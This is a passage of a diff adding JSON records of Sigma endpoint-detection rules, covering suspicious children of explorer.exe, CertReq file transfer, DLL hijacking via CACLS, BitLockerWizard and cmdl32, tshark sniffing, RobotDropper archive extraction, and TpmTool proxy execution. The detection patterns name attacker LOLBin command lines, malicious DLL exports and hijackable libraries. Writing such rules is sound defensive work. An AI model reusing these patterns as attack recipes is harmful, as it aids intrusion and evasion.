OriginalFileName: 'MSHTA.EXE'\n\n    selection_mshta_commandline:\n        CommandLine|contains:\n            - 'http'\n            - 'javascript'\n\n    # wmic.exe\n    selection_wmic_image:\n        - Image|endswith: 'wmic.exe'\n        - OriginalFileName: 'wmic.exe'\n\n    selection_wmic_commandline:\n        CommandLine|contains: 'format'\n\n    # msiexec.exe\n    selection_msiexec_image:\n        - Image|endswith: 'msiexec.exe'\n        - OriginalFileName: 'msiexec.exe'\n\n    selection_msiexec_commandline:\n        CommandLine|contains: '/q '\n\n    # rundll32.exe\n    selection_rundll32:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_rundll32_1:\n        CommandLine|contains: '%comspec% '\n    selection_rundll32_2:\n        CommandLine|contains|all:\n            - 'vfcuzzz.dll'\n            - 'CuzzSetDebugLoweringPoint'\n    selection_rundll32_3:\n        CommandLine|contains|all:\n            - 'KM.FileSystem.dll'\n            - 'KMGetInterface'\n    selection_rundll32_4:\n        CommandLine|contains|all:\n            - 'diassvcs.dll'\n            - 'InitializeComponent'\n    selection_rundll32_5:\n        CommandLine|contains|all:\n            - 'GraphicalComponent.dll'\n            - 'VisualServiceComponent'\n    selection_rundll32_6:\n        CommandLine|contains|all:\n            - 'MsDiskMountService.dll'\n            - 'DiskDriveIni'\n    selection_rundll32_7:\n        CommandLine|contains|all:\n            - 'advpack.dll'\n            - 'RegisterOCX'\n    selection_rundll32_8:\n        CommandLine|contains|all:\n            - '\\\\\\\\'\n            - ',0'\n    selection_rundll32_9:\n        CommandLine|contains|all:\n            - 'alomart.dll'\n            - 'PluginInit'\n\n    # wscript.exe\n    selection_wscript_image:\n        - Image|endswith: '\\wscript.exe'\n        - OriginalFileName: 'wscript.exe'\n\n    selection_wscript_commandline:\n        CommandLine|contains: ' /b '\n\n    # odbcconf.exe\n    selection_odbcconf_image:\n        - Image|endswith: '\\odbcconf.exe'\n        - OriginalFileName: 'odbcconf.exe'\n\n    selection_odbcconf_commandline:\n        CommandLine|contains:\n            - 'odbcconf '\n            - 'odbcconf.exe '\n\n    condition: selection_explorer and (\n                   (selection_cmd and (all of selection_cmd_1_* or all of selection_cmd_2_*) and not exclusion_cmd) or\n                   (all of selection_powershell_* and not exclusion_powershell) or\n                   (all of selection_mshta_*) or\n                   (all of selection_wmic_*) or\n                   (all of selection_msiexec_*) or\n                   (selection_rundll32 and 1 of selection_rundll32_*) or\n                   (all of selection_wscript_*) or\n                   (all of selection_odbcconf_*)\n               )\nlevel: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3032fc60-f2f1-46ff-98c0-f6b537fe7513",
+  "rule_name": "Suspicious Process Started by Explorer",
+  "rule_description": "Detects the execution of suspicious processes spawned directly by explorer.exe, which commonly indicates that a user has clicked on a malicious link or attachment.\nThis pattern is frequently observed in phishing attacks where malicious files or URLs trigger the execution of dangerous processes like powershell.exe, cmd.exe, or unusual script interpreters with explorer.exe as the parent.\nIt is recommended to analyze the process command-line and file origin (by looking at the file downloads telemetry, for example).\n",
+  "rule_creation_date": "2021-06-18",
+  "rule_modified_date": "2026-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.001",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "30336e99-9891-408e-b3a7-c5f83d445417",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603534Z",
+  "creation_date": "2026-03-23T11:45:34.603537Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603545Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Certreq",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_certreq_lolbas_file_transfer.yml",
+  "content": "title: File Downloaded or Uploaded via CertReq\nid: 30336e99-9891-408e-b3a7-c5f83d445417\ndescription: |\n    Detects a suspicious execution of the CertReq executable to download or exfiltrate a file.\n    Adversaries may transfer tools or other files to a compromised environment using legitimate tool to evade detection.\n    It is recommended to check the content of the downloaded file and for other suspicious behavior by the parents of the current process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Certreq\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2025/06/17\nmodified: 2025/06/17\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.CertReq\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\CertReq.exe'\n        # Renamed binaries\n        - OriginalFileName: 'CertReq.exe'\n\n    selection_cmdline:\n        CommandLine|contains|all:\n            - '?Post'\n            - '?config'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "30336e99-9891-408e-b3a7-c5f83d445417",
+  "rule_name": "File Downloaded or Uploaded via CertReq",
+  "rule_description": "Detects a suspicious execution of the CertReq executable to download or exfiltrate a file.\nAdversaries may transfer tools or other files to a compromised environment using legitimate tool to evade detection.\nIt is recommended to check the content of the downloaded file and for other suspicious behavior by the parents of the current process.\n",
+  "rule_creation_date": "2025-06-17",
+  "rule_modified_date": "2025-06-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3076adfe-ea41-40f9-84c8-262457ee7219",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594714Z",
+  "creation_date": "2026-03-23T11:45:34.594717Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594725Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cacls.yml",
+  "content": "title: DLL Hijacking via CACLS.exe\nid: 3076adfe-ea41-40f9-84c8-262457ee7219\ndescription: |\n    Detects potential Windows DLL Hijacking via CACLS.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CACLS.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\ntmarta.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\\\*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft\\EdgeWebView\\Application\\\\*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3076adfe-ea41-40f9-84c8-262457ee7219",
+  "rule_name": "DLL Hijacking via CACLS.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CACLS.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "307b0642-85e4-4475-95de-240e2cbc5108",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618890Z",
+  "creation_date": "2026-03-23T11:45:34.618892Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618896Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bitlockerwizard.yml",
+  "content": "title: DLL Hijacking via BitLockerWizard.exe\nid: 307b0642-85e4-4475-95de-240e2cbc5108\ndescription: |\n    Detects potential Windows DLL Hijacking via BitLockerWizard.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BitLockerWizard.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\fvewiz.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "307b0642-85e4-4475-95de-240e2cbc5108",
+  "rule_name": "DLL Hijacking via BitLockerWizard.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via BitLockerWizard.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3085e5ea-4be0-4a6c-b0e8-442cc81ed08f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094233Z",
+  "creation_date": "2026-03-23T11:45:34.094235Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094239Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1040/T1040.md#atomic-test-3---packet-capture-macos-using-tcpdump-or-tshark",
+    "https://attack.mitre.org/techniques/T1040/"
+  ],
+  "name": "t1040_network_sniffing_tshark_macos.yml",
+  "content": "title: Network Sniffed via tshark (macOS)\nid: 3085e5ea-4be0-4a6c-b0e8-442cc81ed08f\ndescription: |\n    Detects the execution of tshark, a protocol analyzer used to capture and analyze network traffic.\n    It is often used to help troubleshoot network issues, but adversaries can use it to sniff network traffic and capture information about an environment, including authentication material passed over the network.\n    It is recommended to investigate activity surrounding this alert to determine if the usage of this software is legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1040/T1040.md#atomic-test-3---packet-capture-macos-using-tcpdump-or-tshark\n    - https://attack.mitre.org/techniques/T1040/\ndate: 2024/05/10\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.discovery\n    - attack.t1040\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Tool.Tshark\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: '/tshark'\n\n    exclusion_cellar_data_analysis:\n        ParentImage|endswith: 'opt/homebrew/Cellar/python@3.??/3.*/Frameworks/Python.framework/Versions/3.??/Resources/Python.app/Contents/MacOS/Python'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3085e5ea-4be0-4a6c-b0e8-442cc81ed08f",
+  "rule_name": "Network Sniffed via tshark (macOS)",
+  "rule_description": "Detects the execution of tshark, a protocol analyzer used to capture and analyze network traffic.\nIt is often used to help troubleshoot network issues, but adversaries can use it to sniff network traffic and capture information about an environment, including authentication material passed over the network.\nIt is recommended to investigate activity surrounding this alert to determine if the usage of this software is legitimate.\n",
+  "rule_creation_date": "2024-05-10",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "309b6676-766c-4e8f-9570-9385f7522c2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604123Z",
+  "creation_date": "2026-03-23T11:45:34.604126Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604134Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2024/11/robotdropper-automates-delivery-of-multiple-infostealers",
+    "https://trac-labs.com/advancing-through-the-cyberfront-legionloader-commander-6af38ebe39d4"
+  ],
+  "name": "t1560_001_unrar_decompress_robotdropper.yml",
+  "content": "title: RobotDropper Archiver Tool Execution\nid: 309b6676-766c-4e8f-9570-9385f7522c2e\ndescription: |\n    Detects when the archiver tool WinRAR is used with arguments specific to RobotDropper.\n    These parameters are used by threat actors to uncompress the password protected archive containing the payload.\n    The payload is usually a Dll used for DLL Side-Loading.\nreferences:\n    - https://blogs.blackberry.com/en/2024/11/robotdropper-automates-delivery-of-multiple-infostealers\n    - https://trac-labs.com/advancing-through-the-cyberfront-legionloader-commander-6af38ebe39d4\ndate: 2025/01/08\nmodified: 2025/06/30\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560\n    - attack.t1560.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Loader.RobotDropper\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_rar:\n        CommandLine|contains: '*\\AppData\\Roaming\\\\*\\unrar.exe x -p* -o+ *.rar'\n        ParentImage: '?:\\Windows\\System32\\msiexec.exe'\n\n    selection_7z:\n        CommandLine|contains: '*\\AppData\\Roaming\\\\*\\7z.exe x *\\AppData\\Roaming\\\\* -oC*\\AppData\\Roaming\\\\* -y -p*'\n        GrandparentImage: '?:\\Windows\\System32\\msiexec.exe'\n    condition: 1 of selection_*\nlevel: high\nconfidence: weak",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "309b6676-766c-4e8f-9570-9385f7522c2e",
+  "rule_name": "RobotDropper Archiver Tool Execution",
+  "rule_description": "Detects when the archiver tool WinRAR is used with arguments specific to RobotDropper.\nThese parameters are used by threat actors to uncompress the password protected archive containing the payload.\nThe payload is usually a Dll used for DLL Side-Loading.\n",
+  "rule_creation_date": "2025-01-08",
+  "rule_modified_date": "2025-06-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1560",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "30bfe7ff-3444-4e5a-9e30-cb0e5a88ff28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088132Z",
+  "creation_date": "2026-03-23T11:45:34.088134Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088138Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/0gtweet/status/1581185123218690048",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_tpmtool.yml",
+  "content": "title: Proxy Execution via TpmTool.exe\nid: 30bfe7ff-3444-4e5a-9e30-cb0e5a88ff28\ndescription: |\n    Detects the suspicious execution of TpmTool.exe as a proxy to launch another application.\n    Attackers must place a malicious logman.exe file in the same folder as TpmTool, which will then be executed.\n    This technique can be used to bypass security restrictions that are based on the parent process.\n    It is recommended to analyze the the execution chain to look for malicious processes as well as to analyze the logman.exe process and determine its legitimacy.\nreferences:\n    - https://twitter.com/0gtweet/status/1581185123218690048\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/10/27\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.TpmTool\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_grandparent:\n        GrandparentCommandLine|contains|all:\n            - 'drivertracing'\n            - 'stop'\n\n    selection_parent:\n        ParentCommandLine|endswith: '\\cmd.exe /c logman.exe stop TPMTRACE -ets'\n\n    filter_legitimate:\n        OriginalFileName: 'Logman.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "30bfe7ff-3444-4e5a-9e30-cb0e5a88ff28",
+  "rule_name": "Proxy Execution via TpmTool.exe",
+  "rule_description": "Detects the suspicious execution of TpmTool.exe as a proxy to launch another application.\nAttackers must place a malicious logman.exe file in the same folder as TpmTool, which will then be executed.\nThis technique can be used to bypass security restrictions that are based on the parent process.\nIt is recommended to analyze the the execution chain to look for malicious processes as well as to analyze the logman.exe process and determine its legitimacy.\n",
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "310c3bfc-817d-4a9b-bcb8-d1c7a7835b67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588794Z",
+  "creation_date": "2026-03-23T11:45:34.588797Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588805Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cmdl32.yml",
+  "content": "title: DLL Hijacking via cmdl32.exe\nid: 310c3bfc-817d-4a9b-bcb8-d1c7a7835b67\ndescription: |\n    Detects potential Windows DLL Hijacking via cmdl32.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'cmdl32.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\cmpbk32.dll'\n            - '\\RASAPI32.dll'\n            - '\\rasman.dll'\n            - '\\WINHTTP.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
